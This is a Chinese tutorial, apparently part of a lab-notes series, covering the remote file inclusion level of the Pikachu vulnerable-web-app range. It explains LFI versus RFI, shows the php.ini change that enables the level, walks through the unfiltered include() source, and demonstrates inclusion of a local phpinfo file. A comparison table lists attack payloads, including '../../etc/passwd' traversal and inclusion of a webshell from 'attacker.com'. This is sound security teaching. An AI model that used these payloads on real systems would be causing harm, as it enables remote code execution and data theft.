目录
一、文件包含功能
二、文件包含Vulnerability
二、远程文件包含
三、环境配置
1、进入靶场
2、搭建环境
(1)定位php.ini文件
(2)修改php.ini文件
四、源码分析
五、渗透实战
1、选择科比
2、执行phpinfo
(1)获取脚本地址
(2)远程文件包含渗透
本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件包含关卡(File Inclusion)源码的代码审计找到产生缺陷的真实原因,讲解远程文件包含关卡的原理并进行渗透实践。
一、文件包含功能
文件包含是Web开发中常用的功能,允许程序动态加载外部文件(如HTML模板、配置文件或代码库),以提高代码复用性。在PHP中,主要通过以下函数实现:
-
include
:包含文件,失败时警告但继续执行。 -
require
:包含文件,失败时终止程序。 -
include_once
/require_once
:避免重复包含。
二、文件包含Vulnerability
文件包含Vulnerability(File Inclusion Vulnerability)是指Web应用程序在包含文件(如PHP的include
、require
等函数)时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件(如服务器上的敏感文件或远程脚本),从而造成任意代码执行(RCE)或敏感信息泄露。
开发者常常会使用文件包含函数,像 PHP 的include()
、require()
、include_once()
、require_once()
等,把其他文件内容包含到当前页面中。若程序没有对用户输入的文件路径进行严格过滤与验证,攻击者就能够通过构造特殊的输入,让应用程序包含恶意文件。
二、远程文件包含
远程文件包含(Remote File Inclusion,RFI)通常出现在服务器端脚本语言(如PHP、Java等)中。当应用程序通过用户输入动态地包含远程服务器上的文件时,如果没有对输入进行严格过滤和验证,攻击者可以利用远程文件包含缺陷将恶意文件放置在远程服务器上,并通过构造包含恶意文件URL的请求,让目标应用程序加载并执行该文件。
文件包含分为本地文件包含和远程文件包含,两者区别如下所示。
对比项 | 本地文件包含(LFI) | 远程文件包含(RFI) |
---|---|---|
定义 | 包含服务器本地的任意文件 | 包含远程服务器上的恶意脚本文件 |
攻击目标 | 读取敏感文件(如/etc/passwd 、配置文件) | 直接执行远程恶意代码(如WebShell) |
利用方式 | 通过../ 等遍历目录 | 通过URL包含http:// 或ftp:// 远程资源 |
PHP配置要求 | 无需特殊配置 | 需allow_url_include=On (默认关闭) |
危害等级 | 中高危(信息泄露) | 严重(直接RCE,服务器沦陷) |
典型攻击载荷 | ?file=../../etc/passwd | ?file=http://attacker.com/shell.php |
依赖条件 | 文件路径可控 | 1. 路径可控 2. 服务器能访问外网 |
常见防御措施 | 1. 白名单限制文件路径 2. 禁用目录遍历符号 | 1. 关闭allow_url_include 2. 过滤 http:// 等协议 |
渗透测试用途 | 1. 窃取配置文件 2. 结合日志注入执行代码 | 1. 直接获取服务器权限 2. 植入后门 |
伪协议利用 | 支持(如php://filter 读取文件内容) | 支持(如php://input 直接执行POST代码) |
三、环境配置
1、进入靶场
进入pikachu靶场的远程文件包含关卡,完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
进入到远程包含关卡页面后发现提示“warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该关卡,记得修改后,重启中间件服务!”,需要配置环境满足条件,具体如下所示。
2、搭建环境
将php.ini文件里的allow_url_include改成On,远程文件包含的前提是需要满足如下条件。
allow_url_fopen=On (默认打开)
allow_url_include=On(默认关闭,所以要手动改为On)
(1)定位php.ini文件
方法1:①打开小皮工具,依次点击设置—配置文件—php.ini—php版本号
方法2:②找到小皮工具文件夹—Extensions—php—php版本号—php.ini
(2)修改php.ini文件
按照下图查找并修改php.ini文件,开启allow_url_include和allow_url_fopen,切记修改之后重启小皮apache,否则不生效。
四、源码分析
打开piakchu靶场的源码目录,找到file_remote.php,具体如下所示。
源码的主要功能是动态包含服务器本地或远程文件,经过详细注释的源码如下所示。
// 远程文件包含风险的演示代码
$html = ''; // 初始化HTML输出变量// 检查是否提交了表单且filename参数不为空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接获取用户输入的filename参数include "$filename"; // 关键点:直接包含用户可控的变量,无任何过滤!
}
不过这段代码有文件包含安全风险,如果allow_url_include=On配置打开还有远程包含
安全风险,原因如下所示。
原因 | 具体问题 |
---|---|
未过滤用户输入 | 直接使用$_GET['filename'] ,攻击者可注入恶意路径。 |
危险函数调用 | include 直接执行文件内容,若包含PHP文件会解析代码。 |
配置依赖 | 需php.ini 中开启allow_url_include=On (默认关闭),否则仅能本地文件包含(LFI)。 |
五、渗透实战
1、选择科比
重启Apache后重试pikachu靶场远程文件上传,选择科比,留意当前URL地址,具体如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#
此时进入到远程文件包含页面,已无3.1部分的警告信息,具体如下所示。
选择第一个运动员科比,留意URL地址,此时filename被赋值为filename=include%2Ffile1.php,具体如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4
2、执行phpinfo
(1)获取脚本地址
在pikachu靶场的test目录中,存在phpinfo.txt文件,其完整的URL地址如下所示。
http://127.0.0.1/pikachu/test/phpinfo.txt
(2)远程文件包含渗透
将5.1部分的filename=include/file1.php换成phpinfo的链接地址,具体如下所示。
filename=http://127.0.0.1/pikachu/test/phpinfo.txt
这样远程文件包含渗透的完整URL地址如下所示。
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4
如下所示成功获取到服务器的php信息,渗透成功。